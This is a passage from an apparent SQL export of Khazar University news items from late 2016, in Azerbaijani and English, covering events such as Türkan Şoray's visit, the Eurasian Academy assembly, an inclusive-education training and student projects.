href=\"http://www.adalet.az/w113617/T%C3%BCrkan_%C5%9Eoray_Bak%C4%B1dad%C4%B1r/\">http://www.adalet.az/w113617/Türkan_Şoray_Bakıdadır/</a>;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://yenicag.az/turkan-soray-bakidadir/\">http://yenicag.az/turkan-soray-bakidadir/</a>;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://www.qafqazinfo.az/sou-20/turkan-soray-bakida-avrasiya-efsanesi-secildi-166897\">http://www.qafqazinfo.az/sou-20/turkan-soray-bakida-avrasiya-efsanesi-secildi-166897</a>;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://aktual.az/turkan-soray-bakida-foto/\">http://aktual.az/turkan-soray-bakida-foto/</a>.</p>'),(2701,1617,'az','Tələbə jurnalistlər komandası yaradılır','Noyabrın 28-də Xəzər Universitetinin Xəbər-News Qrupu  Mühəndislik və tətbiqi elmlər, İqtisadiyyat və menecment və Humanitar və sosial elmlər fakültələrinin könüllülərindən...','<p>Noyabrın 28-də Xəzər Universitetinin Xəbər-News Qrupu&nbsp;\r\nMühəndislik və tətbiqi elmlər, İqtisadiyyat və menecment və Humanitar və\r\nsosial elmlər fakültələrinin könüllülərindən ibarət yaranmaqda olan Tələbə jurnalistlər komandasının üzvləri ilə ilk iclas\r\nkeçirdi.</p>\r\n<p>İclası Xəbər-News Qrupunun rəhbəri, “Xəzər Xəbər” jurnalının baş redaktor\r\nmüavini, əməkdar jurnalist Əlirza Balayev açaraq bildirdi ki, Tələbə jurnalistlər komandası universitet rəhbərliyinin\r\ntövsiyəsi ilə yaradılır və məqsəd universitetdə keçirilən tədbirlər haqqında xəbərlərin\r\nhazırlanmasında operativliyi artırmaqdan ibarətdir. </p>\r\n<p>Xəbər-News Qrupunun üzvləri – Jurnalistika\r\ndepartamentinin koordinatoru Cabir Məmmədov, “Xəzər Xəbər” jurnalında ingilis\r\ndilində mətnlərin redaktoru Marta Lauri və Elektron media mərkəzinin direktoru\r\nAlik Əlioğlu çıxış edərək, komandanın nəzərdə tutulan iş prinsiplərindən\r\ndanışdılar və komanda üzvləri üçün treninqlərin keçirilməsi qərara alındı.</p>\r\n<p>Sonda komanda üzvlərinə müvafiq sənədlər paylandı və\r\nsualları cavablandırıldı.</p>'),(2775,1656,'en','Khazar Staff Members at TAIEX Seminar','On December 1-2, 2016, a TAIEX seminar on double diplomas and MBA programs according to the Bologna Process was held as part of a partnership between the European Union...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On December 1-2, 2016, a TAIEX\r\nseminar on double diplomas and MBA programs according to the Bologna Process\r\nwas held as part of a partnership between the European Union and the Ministry\r\nof Education of the Azerbaijan Republic. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">During the seminar, discussions\r\nwere held about MBA programs in Azerbaijan and countries of the European Union,\r\ndouble-degree education, and the procedure to recognize double-degree diplomas\r\nbetween the European Union and non-Union countries. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Lyudmila Sotova, Director of the\r\nQuality Assurance Center, and Jeyhun Mamadov, Chair of the Department of\r\nEconomics and Management, participated in the event.&nbsp;</p>'),(2620,1576,'az','Xəzər Universitetində “Əlçatan təhsil –Əlçatan gələcək” adlı təlim keçiriləcək','2016-ci il dekabrın 2-si və 3-də Xəzər Universitetində Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun maliyyə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-ci il dekabrın 2-si və 3-də Xəzər Universitetində Azərbaycan\r\nRespublikasının Prezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan\r\nşəbəkəsinin və Xəzər Universitetinin “Əlilliyi olan Tələbələr Mərkəzi”nin təşkilatı\r\ndəstəyi ilə “Əlçatan təhsil –Əlçatan Gələcək” layihəsi çərçivəsində təşkil\r\nolunmuş təlim kursu keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Təlimin əsas\r\nməqsədi inkluziv təhsillə bağlı məlumatlandırma, əlilliyi olan uşaqlarla işləyərkən,\r\nonlara olan düzgün pedaqoji yanaşma və davranışın inkişaf etdirilməsidir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2 günlük təlim zamanı, iştirakçılar qeyri-formal təhsil metodları\r\nvasitəsilə yeni bilik və bacarıqlara yiyələnəcək və bu təcrübəni öz həmyaşıdları\r\nilə paylaşmaq şansı əldə edəcəklər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Təlimlərdə iştirak etmək üçün 18-25 yaş arası gənclər, pedaqoji təhsil\r\nalanlar və ya pedaqoji təhsili olanlar, özünü gələcək təlimçi və ya təhsil\r\nişçisi kimi görənlər, əlilliyi olan uşaqlarla çalışarkən yeni yanaşma və\r\nbacarıqlar öyrənmək istəyən gənclər müraciət edə bilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Təlimdə\r\niştirak etmək üçün aşağıdakı qeydiyyat formunu doldurmanız xahiş olunur:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"https://docs.google.com/forms/d/1om3QYXZ3sSoF1lGvAPX62nFbDsdYAU7vFL04SlknmlI/viewform?edit_requested=true\">https://docs.google.com/forms/d/1om3QYXZ3sSoF1lGvAPX62nFbDsdYAU7vFL04SlknmlI/viewform?edit_requested=true</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Son müraciət tarixi <strong>27 noyabr</strong>dır. Kriteriyalardan uğurla keçənlərə noyabrın 29-na qədər\r\nməlumat veriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Təlimlər hər gün saat 14:00-dan 18:00-dək\r\nAzərbaycan dilində keçiriləck. Təlimdə iştirak ödənişsizdir. İştirakçılar çay\r\nfasiləsi və sertifikatla təmin olunacaqlar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Əlavə\r\nməlumat üçün layihə rəhbəri Səadət Abdullazadə ilə əlaqə saxlamaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">E-mail:\r\n<a href=\"mailto:abdullazadasaadat@gmail.com\">abdullazadasaadat@gmail.com</a>. &nbsp;Telefon: (055) 598-72-19 (mobil).</p>'),(2623,1578,'az','Türkan Şorayın Bakı səfəri Türkiyə mətbuatında ','Xəbər verildiyi kimi, 2016-cı il noyabrın 17-də məşhur türk aktrisa Türkan Şoray Xəzər Universitetinin dəvətilə Azərbaycana gəlmişdir. Türk filmlərinin canlı əfsanəsinə Türkiyənin...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəbər verildiyi kimi, 2016-cı il\r\nnoyabrın 17-də məşhur türk aktrisa Türkan Şoray Xəzər\r\nUniversitetinin dəvətilə Azərbaycana gəlmişdir. Türk filmlərinin canlı\r\nəfsanəsinə Türkiyənin media ictimaiyyəti də çox diqqət yetirmiş və bir çox\r\nmedia qurumları bu hadisəni işıqlandırmışlar:<strong></strong></p>\r\n<p><a href=\"http://www.haberler.com/dha-dis-haberler-azerbaycan-da-turkan-soray-a-8971746-haberi/\">http://www.haberler.com/dha-dis-haberler-azerbaycan-da-turkan-soray-a-8971746-haberi/</a>;</p>\r\n<p><a href=\"http://www.palo.com.tr/a/g%C3%B6r%C3%BCnt%C3%BCl%C3%BC-haber-azerbaycan-da-t%C3%BCrkan-%C5%9Foray-a-avrasya-efsanesi-%C3%B6d%C3%B6l%C3%BC-verildi-2056578\">http://www.palo.com.tr/a/görüntülü-haber-azerbaycan-da-türkan-şoray-a-avrasya-efsanesi-ödölü-verildi-2056578</a>;</p>\r\n<p><a href=\"http://www.haber1.com/haber/672200/goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi\">http://www.haber1.com/haber/672200/goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi</a>;</p>\r\n<p><a href=\"http://www.gercekgundem.com/kultur-sanat/243357/azerbaycandan-turkan-soraya-odul\">http://www.gercekgundem.com/kultur-sanat/243357/azerbaycandan-turkan-soraya-odul</a>;</p>\r\n<p><a href=\"http://www.dha.com.tr/en-son-haber-goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi-son-dakika-haberleri_1384805.html\">http://www.dha.com.tr/en-son-haber-goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi-son-dakika-haberleri_1384805.html</a>;</p>\r\n<p><a href=\"http://www.f5haber.com/baku/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-haberi-1818432/\">http://www.f5haber.com/baku/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-haberi-1818432/</a></p>\r\n<p><a href=\"http://www.sondakika.com/haber/haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-8971904/\">http://www.sondakika.com/haber/haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-8971904/</a>;</p>\r\n<p><a href=\"http://www.macmaca.com.tr/dis-haberler/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h7518.html\">http://www.macmaca.com.tr/dis-haberler/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h7518.html</a>;</p>\r\n<p><a href=\"http://www.milliyet.com.tr/turkan-sultan-efsanesi-/cadde/ydetay/2341721/default.htm\">http://www.milliyet.com.tr/turkan-sultan-efsanesi-/cadde/ydetay/2341721/default.htm</a>;</p>\r\n<p><a href=\"http://www.newsgarden.com.tr/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi\">http://www.newsgarden.com.tr/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi</a>;</p>\r\n<p><a href=\"http://www.ulusalses.com/gundem/dha-dis-haberler-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h414143.html\">http://www.ulusalses.com/gundem/dha-dis-haberler-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h414143.html</a>;</p>\r\n<p><a href=\"http://www.fisiltimedyahaber.com/haber/57642/soraya-avrasya-efsanesi-odulu-verildi.html\">http://www.fisiltimedyahaber.com/haber/57642/soraya-avrasya-efsanesi-odulu-verildi.html</a></p>\r\n<p><a href=\"http://duzgunhaber.com.tr/sinemanin_sultani-na_-avrasya_efsanesi-_odulu-71054\">http://duzgunhaber.com.tr/sinemanin_sultani-na_-avrasya_efsanesi-_odulu-71054</a>;</p>\r\n<p><a href=\"http://www.sabah.com.tr/webtv/medya/turkan-soraya-avrasya-efsanesi-odulu-verildi\">http://www.sabah.com.tr/webtv/medya/turkan-soraya-avrasya-efsanesi-odulu-verildi</a>;</p>\r\n<p><a href=\"http://haber.cicegim.net/haber/530596/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi.html\">http://haber.cicegim.net/haber/530596/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi.html</a>;</p>\r\n<p><a href=\"https://habervizyonu.com/2016/11/17/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi/\">https://habervizyonu.com/2016/11/17/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi/</a>;</p>\r\n<p><a href=\"http://www.aydinses.com/goruntulu-haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-video,65974.html\">http://www.aydinses.com/goruntulu-haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-video,65974.html</a>;</p>\r\n<p><a href=\"http://www.xn--gnnhaberi-q9ab.com/yasam/soray-a-avrasya-efsanesi-odulu-verildi-h35801.html\">http://www.xn--gnnhaberi-q9ab.com/yasam/soray-a-avrasya-efsanesi-odulu-verildi-h35801.html</a>.</p>'),(2626,1576,'en','“Inaccessible Education- Inaccessible Future” Training at Khazar','On December 2-3, 2016, a training event called “Inaccessible Education- Inaccessible Future” will be held with the support of the Youth Foundation of the President of the Azerbaijan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nDecember 2-3, 2016, a training event called “Inaccessible Education-\r\nInaccessible Future” will be held with the support of the Youth Foundation of\r\nthe President of the Azerbaijan Republic, Y-PEER Azerbaijani network and Khazar\r\nUniversity’s Center for Students with Disabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nmain goal of the training is to inform participants about inclusive education\r\nas well as correct pedagogical approaches for working with students with\r\ndisabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\n2-day training will be held in Azerbaijani. Please apply at <a href=\"https://docs.google.com/forms/d/1om3QYXZ3sSoF1lGvAPX62nFbDsdYAU7vFL04SlknmlI/viewform?edit_requested=true\">https://docs.google.com/forms/d/1om3QYXZ3sSoF1lGvAPX62nFbDsdYAU7vFL04SlknmlI/viewform?edit_requested=true</a>.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\ndeadline for applications is November 27. For further information, contact\r\nSaadet Abdullazadeh: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:abdullazadasaadat@gmail.com\">abdullazadasaadat@gmail.com</a>.&nbsp; Mobile phone:&nbsp; (055) 598-72-19</p>'),(2627,1579,'az','Avrasiya Akademiyasının İkinci Rəsmi Məclisi','Məclis Avrasiya Akademiyasına yeni üzv seçilmiş məşhur sənətçilər Robert Hosseinə (Fransa) və Türkan Şoraya (Türkiyə) akademiyanın diplomu və kubokunun təqdim...','<p><em>Məclis Avrasiya\r\nAkademiyasına yeni üzv seçilmiş məşhur sənətçilər Robert Hosseinə (Fransa) və\r\nTürkan Şoraya (Türkiyə) akademiyanın diplomu və kubokunun təqdim olunmasına həsr\r\nedilmişdi.</em></p>\r\n<p>Noyabrın 17-də Xəzər\r\nUniversitetinin Mərmər salonunda Avrasiya Akademiyasının ikinci rəsmi məclisi\r\nkeçirildi. Tədbirdə universitetin rəhbərliyi və əməkdaşları, hökumət və Milli Məclis\r\nüzvləri, xarici ölkələrin Azərbaycandakı&nbsp; səfirləri, elm və sənət xadimləri,\r\nşirkət rəhbərləri, xarici qonaqlar və ictimaiyyət nümayəndələri iştirak edirdilər.</p>\r\n<p>Akademiyanın yeni\r\nseçilmiş üzvləri Robert Hossein və Türkan Şoray salona daxil olanda&nbsp;\r\niştirakçılar onları ayaq üstə gurultulu alqışlarla qarşıladılar.\r\nBildirildi&nbsp; ki,&nbsp; akademiyaya üzv seçilmiş professor Roald Sagdeev\r\nüzürlü səbəbdən məclisdə iştirak edə bilmir.</p>\r\n<p>İştirakçılara Avrasiya\r\nAkademiyasının iki üzvünün – professor Halil İnalcık və professor Ali Cavanın\r\nbu yaxınlarda vəfat etdikləri bildirildi və onların xatirəsi bir dəqiqəlik\r\nsükutla yad edildi. Aparıcılar Günay Səmədova və Eynur Mehdiyev universitet rəhbərliyi\r\nadından iştirakçıları salamladılar. Sonra Avrasiya Akademiyasının qurulma\r\nideyası, yaranması və birinci toplantısı, Robert Hossein və Türkan Şoray\r\nhaqqında filmlər nümayiş etdirildi.</p>\r\n<p>Daha sonra Avrasiya\r\nAkademiyasl diplomunun və “Avrasiya Əfsanəsi” kubokunun təqdim olunması mərasimi\r\nbaşlandı. Robert Hosseinə diplom və kuboku Avrasiya Akademiyasının qurucu üzvləri\r\nArif Məlikov və Hamlet İsaxanlı, həmçinin Fransanın Azərbaycan\r\nRespublikasındakı fövqəladə və səlahiyyətli səfiri Aurelia Bouchez, Türkan\r\nŞoraya Arif Məlikov,&nbsp; Hamlet İsaxanlı və Türkiyenin Azərbaycan\r\nRespublikasındakı fövqəladə və səlahiyyətli səfiri Erkan Özoral təqdim etdilər.\r\nQeyd olundu ki, Türkan Şoray&nbsp; Avrasiya Akademiyasına üzv seçilən və\r\n“Avrasiya Əfsanəsi”ni alan ilk qadındır. </p>\r\n<p>Aparıcılar bildirdilər\r\nki, Avrasiya Akademiyasının qurucu üzvlərindən professor Lüfti Zadə və\r\nprofessor Məhmut Gazi Yaşargil ikinci rəsmi məclisdə iştirak etmək üçün Bakıya\r\ngələ bilmədiklərinə görə, yeni seçdikləri üzvlərə öz təbriklərini göndərmişlər.\r\n</p>\r\n<p>Tədbirin fasiləsində Xəzər\r\nUniversitetinin kamera orkestri qısa konsert proqrqmı ilə çıxış etdi.</p>\r\n<p>Mərasim Xəzər\r\nUniversiteti internet televiziyası ilə canlı yayımlanmış, Azərbaycan və Türkiyə\r\nmediasında geniş işıqlandırılmışdır.</p>'),(2628,1579,'en','Second Official Assembly of Eurasian Academy','This assembly was dedicated to presenting membership certificates and Eurasian Legend awards to two newly elected members of Eurasian Academy, famous cinema figures...','<p><em>This\r\nassembly was dedicated to presenting membership certificates and Eurasian\r\nLegend awards to two newly elected members of Eurasian Academy, famous cinema\r\nfigures Robert Hossein (France) and Türkan Şoray (Turkey). </em></p>\r\n<p>On\r\nNovember 17, 2016, the second official assembly of Eurasian Academy was held in\r\nthe Marble Hall of Khazar University. Participants in the event included\r\nadministrators and faculty members of the university, Members of Parliament and\r\nother government bodies, ambassadors of other countries to Azerbaijan, people\r\nof science and arts, corporate executives, foreign guests, and members of the\r\npublic. </p>\r\n<p>When\r\nnewly elected members Robert Hossein and Türkan Şoray entered the auditorium,\r\nthe audience gave them a thunderous standing ovation. It was noted that\r\nProfessor Roald Sagdeev, also elected for membership in Eurasian Academy, was\r\nunable to participate due to unforeseen circumstances. </p>\r\n<p>An\r\nannouncement was made that two members of Eurasian Academy, Professor Halil\r\nInalcik and Professor Ali Javan, recently passed away. The audience remembered\r\nthem with a moment of silence. </p>\r\n<p>Hosts\r\nof the event Gunay Samadova and Eynur Mehdiyev greeted the participants on\r\nbehalf of the university administration. Then films were shown reflecting the\r\nestablishment and development of Eurasian Academy as well as the lives and\r\nworks of new members Robert Hossein and Türkan Şoray. </p>\r\n<p>Later\r\nthe presentation ceremony of the Eurasian Academy certificate and Eurasian\r\nLegend award began. Eurasian Academy founding members Arif Melikov and Hamlet\r\nIsaxanli as well as the Extraordinary and Plenipotentiary Ambassador of France\r\nto the Azerbaijan Republic, Aurelia Bouchez, presented Robert Hossein’s\r\ncertificate and award. Then Arif Melikov, Hamlet Isaxanli, and the\r\nExtraordinary and Plenipotentiary Ambassador of Turkey to the Azerbaijan\r\nRepublic, Erkan Özoral, presented Türkan Şoray’s certificate and award. It was\r\nmentioned that Türkan Şoray is the first woman to be elected as a member of\r\nEurasian Academy and receive the Eurasian Legend Award.</p>\r\n<p>The\r\nhosts announced that Professor Lotfi Zade and Prof. Mahmut Gazi Yaşargil,\r\nfounding members of Eurasian Academy, were unable to travel to Baku to\r\nparticipate in the Second Official Assembly but that they had sent their\r\ncongratulations to the newly elected members.</p>\r\n<p>During\r\nthe event’s intermission, the Khazar University Chamber Orchestra performed a\r\nbrief concert program. </p>\r\n<p>The\r\nceremony was broadcast live on Khazar University’s internet television and was\r\nreported broadly by Azerbaijani and Turkish media.&nbsp;</p>'),(2629,1580,'az','Xəzər Universitetində “İki şəhərin əfsanələri” adlı tədbir keçirildi','2016-cı il noyabrın 18-i saat 12:00-da Xəzər Universitetində “İki şəhərin əfsanələri” adlı tədbir keçirildi. Tədbir KİM-də yerləşən “Çin guşəsi”nin layihə rəhbəri Orucova Səidə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 18-i saat 12:00-da Xəzər Universitetində “İki şəhərin\r\nəfsanələri” adlı tədbir keçirildi. Tədbir KİM-də yerləşən “Çin guşəsi”nin layihə\r\nrəhbəri Orucova Səidə və koordinatoru Esmira Mehdiyeva tərəfindən\r\nhazırlanmışdı. Tədbirdə BDU-nin nəznində yerləşən Konfusiya İnstitutunun müəllimləri\r\n, Xəzər Universitetində Çin dilini öyrənən tələbələr və digər qonaqlar iştrak\r\nedirdilər. Tədbirdə Konfusiya İnstitutunun müəllimləri Pekinin tarixi, mədəniyyəti,\r\nmilli yeməkləri, Pekin Operası, abidələri və digər görməli yerləri haqqında təqdimatla\r\nçıxış etdilər. Xəzər Universitetinin tələbələri isə Bakı İçərişəhər, Qız\r\nqalası, yeni salınmış binalar və muzeylər haqqında təqdimat nümayiş etdirdilər.\r\nDaha sonra, Çin xalq və Azərbaycan milli geyimləri nümayiş edildi. Çin dili müəllimi\r\ntədbir iştrakçılarının adlarını kalliqrafiyada yazıb hədiyyə etdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda tədbir iştirakçıları kollektiv şəkil çəkdirdilər.</p>'),(2630,1580,'en','Legends of Two Cities Event at Khazar University','On November 18, 2016 at 12:00, an event entitled “Legends of Two Cities” took place at Khazar University. Library and Information Center staff members Saida Orujova...','<p>On\r\nNovember 18, 2016 at 12:00, an event entitled “Legends of Two Cities” took\r\nplace at Khazar University. Library and Information Center staff members Saida\r\nOrujova (China Corner project manager) and Esmira Mehdiyeva (coordinator) are\r\nthe event coordinators. Participants in the event included instructors from\r\nBaku State University’s affiliated Confucius Institute, Khazar University\r\nstudents learning Chinese, and other guests. During the event, Confucius\r\nInstitute instructors gave the audience information about the history and culture\r\nof Beijing, national foods, the Beijing Opera, and other tourist attractions.\r\nIn turn, Khazar University students made presentations about Baku’s Old City,\r\nMaiden’s Tower, newly-constructed buildings, and museums. Then Chinese and\r\nAzerbaijani national clothing styles were shown. Chinese language teachers\r\nwrote the names of participants in calligraphy as gifts.&nbsp;</p>'),(2631,1581,'az','P2P Ekstremizmə qarşı layihəsində Xəzər Universitetinin “Şülh üçün” komandası','Cari tədris ilində Xəzər Universiteti ABŞ Dövlət Departamenti tərəfindən dəstəklənən Peer to Peer (P2P) layihəsinin “Ekstremizmə qarşı Mübarizə Proqramı”nda ikinci dəfə iştirak edir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Cari tədris ilində Xəzər Universiteti ABŞ Dövlət Departamenti tərəfindən\r\ndəstəklənən <em>Peer to Peer</em> (P2P) layihəsinin “Ekstremizmə qarşı Mübarizə\r\nProqramı”nda ikinci dəfə iştirak edir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin 8 nəfər\r\nyerli və beynəlxalq tələbələrindən (Mohanad Abuhashish, Alex Takamgang Wose,\r\nJustin Berinyuy Bongwong, Aysu Cəbrayılova, Svetlana Haciyeva, Bəylar Haqverdi,\r\nHəsən Əlili, Tamella Mahmudzadə) ibarət olan “Sülh üçün” komandasının rəhbəri\r\nmarketinq fənnini tədris edən Ləman Qayidovadır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Komandanın məqsədi ekstremizmə qarşı mübarizədə fəal iştirakı təbliğ\r\netməkdir. Onlar cəmiyyətin hiss, həyəcan və dərdlərini anlamaqla dünyaya həmrəylik\r\ngöstərirlər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Komandanın facebook səhifəsi ilə bu linkdə tanış ola bilərsiniz: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"https://www.facebook.com/challengeextremismforpeace/?fref=ts\">https://www.facebook.com/challengeextremismforpeace/?fref=ts</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, 2016-ci ilin yazında &nbsp;“İmagine” komandası eyni\r\nlayihədə Xəzər Universitetini təmsil edərək 3-cü yer tutdu. Bununla onlar ABŞ-a\r\nsəfər edib münsiflərin qarşısında hazırladıqları təqdimatı keçirmək imkanı\r\nqazandılar.&nbsp;</p>'),(2632,1581,'en','P2P: Challenging Extremism program - Meet ‘For Peace’ Team of Khazar University','This academic year Khazar University participates in P2P: Challenging Extremism program, a global university youth initiative and an international competition supported by the U.S...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This\r\nacademic year Khazar University participates in P2P: Challenging Extremism\r\nprogram, a global university youth initiative and an international competition\r\nsupported by the U.S. Department of States, for the second time.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The\r\nteam <strong>“For Peace” </strong>is comprised of both local and international students\r\nof the School of Economics and Management of Khazar University and is led by\r\nMs. Laman Gayidova, marketing instructor, and includes eight students: Mohanad\r\nAbuhashish, Alex Takamgang Wose, Justin Berinyuy Bongwong, Aysu Jabraayilova,\r\nSvetlana Haciyeva, Baylar Hagverdi, Hasan Alili, Tamella Mahmudzada.</p>\r\n<p>The team’s goal is to promote active participation\r\nin the fight against extremism. They connect to the world through solidarity\r\nfor society’s misery through feelings of sensuality and intimacy. They say: “We share our passion for\r\nsociety with our hearts and not egoistic vanity, we share through the mind. We\r\nstand for narratives for change, storytelling for goodwill through our films\r\nthat shall cast characters and roles in settings with elements of exposure and\r\nthe way the narrative logic unfolds with a language of authenticity for change\r\nwith voices, metaphors, and symbols for peace.”</p>\r\n<p>Team’s Facebook page: <a href=\"https://www.facebook.com/challengeextremismforpeace/?fref=ts\">https://www.facebook.com/challengeextremismforpeace/?fref=ts</a></p>\r\n<p>Team Imagine represented Khazar University in the\r\nprogram this spring and earned third place. They had a chance to visit the\r\nUnited States and present their project to a jury.</p>'),(2633,1582,'az','“Xəzər”in tələbələri sosial layihənin çəkilişində','2016-cı il noyabrın 17-də Xəzər Universitetinin beynəlxalq tələbələri Azərbaycanda multikulturalizm mövzusuna həsr olunan sosial reklamının çəkilişində iştirak etdilər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il noyabrın 17-də Xəzər\r\nUniversitetinin beynəlxalq tələbələri Azərbaycanda multikulturalizm mövzusuna həsr\r\nolunan sosial reklamının çəkilişində iştirak etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İctimai televiziya kanalınin apardığı bu\r\nçəkilişdə beynəlxalq tələbələr Azərbaycanda rast gəldiyi insanlar, mədəniyyət, ənənələr\r\nhaqqında təəssüratlarını bölüşdülər, həm də öz mədəniyyətləri haqqında qısa məlumat\r\nverdilər. Çəkilən kadrın mahiyyəti dünyada bütün insanları bir-birinə münasibətdə\r\ntolerant, dünyanı daha sülhsevər olmağa çağırmaq idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Çəkilişdə Əfqanıstan, Qambiya, İran,\r\nİraq, Pakistan, Fələstin, Türkiyə, Yəmən və Zimbabvedən olan tələbələr iştirak\r\netdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Multikulturalizm ili ilə əlaqədar\r\nhazırlanan bu sosial reklam Azərbaycan Respublikasının Prezidenti yanında Gənclər\r\nFondunun layihəsidir. Azərbaycan Respublikasının Prezidenti İlham Əliyevin sərəncamı\r\nilə 2016-cı il “Multikulturalizm ili” elan olunmuşdur.&nbsp;</p>'),(2634,1582,'en','International Students Participate in Filming Social Ad','On November 17, 2016, international students of Khazar University participated in a shooting of a social ad about multiculturalism in Azerbaijan...','<p>On November 17, 2016, international students of\r\nKhazar University participated in a shooting of a social ad about\r\nmulticulturalism in Azerbaijan.&nbsp;</p>\r\n<p>During the shooting, which was run by Public TV, the\r\ninternational students shared their experiences about people, culture, and\r\ntraditions in Azerbaijan. They also give short information about themselves and\r\ntheir culture. The essence of their message was to invite people all around the\r\nworld to show tolerance for one another and make the world a peaceful place to\r\nlive in. </p>\r\n<p>Participants included students from Afghanistan,\r\nGambia, Iran, Iraq, Pakistan, Palestine, Turkey, Yemen and Zimbabwe.</p>\r\n<p>This social ad is a project of the Youth Fund under\r\nthe President of the Republic of Azerbaijan in a connection with a year of\r\nmulticulturalism. The year of 2016 has been announced the Year 